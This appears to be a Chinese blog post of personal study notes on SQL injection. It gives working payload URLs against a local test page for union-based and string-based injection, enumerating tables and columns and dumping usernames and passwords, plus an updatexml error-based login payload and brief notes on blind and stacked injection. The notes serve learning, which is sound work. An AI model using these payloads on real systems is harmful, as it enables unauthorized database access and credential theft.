sql注入

2024-07-29 / 无评论
sql是一门语言,通过sql语句可以快速实现数据的增上改查

CURD就是指对数据的增删改查

什么是数据库

关系型数据库

把所有的数据变为表格存放
常见有

非关系型数据库

sql注入的类型

类型一:数字型注入和union 注入

http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2

类型二:字符型注入

  1. 前面闭合 后面注释 来逃逸出单引号或者双引号

    http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23
    
  2. 查所有表

    http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23
    
  3. 查所有列

    http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23
    
  4. 查敏感数据

    http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23
    
    
  5. 注释两种形式 # --空格

类型三: Boolean 布尔盲注

基于上面原理,我们可以发送大量请求,来猜测我们需要的数据

类型四: 报错注入

  1. 没有明显的回显点
  2. 有mysql执行sql语句的报错信息

a. 利用updatexml函数来强制报错,带出我们的查询结果

username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=databases()),'^'),1)%23&password=123123

b. extractvalueupdatexml功能一样,也是通过报错带出查询数据用

c. 整数溢出报错 exp pow cot

d. 不存在函数报错

类型五: 堆叠注入

我们控制的语句,可以执行多条sql

注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法

如果可以堆叠,应该首先考虑 存储进程 set @a=b

存储过程 类似于shell函数 可以自定义函数

无回应:“sql注入”

评论已关闭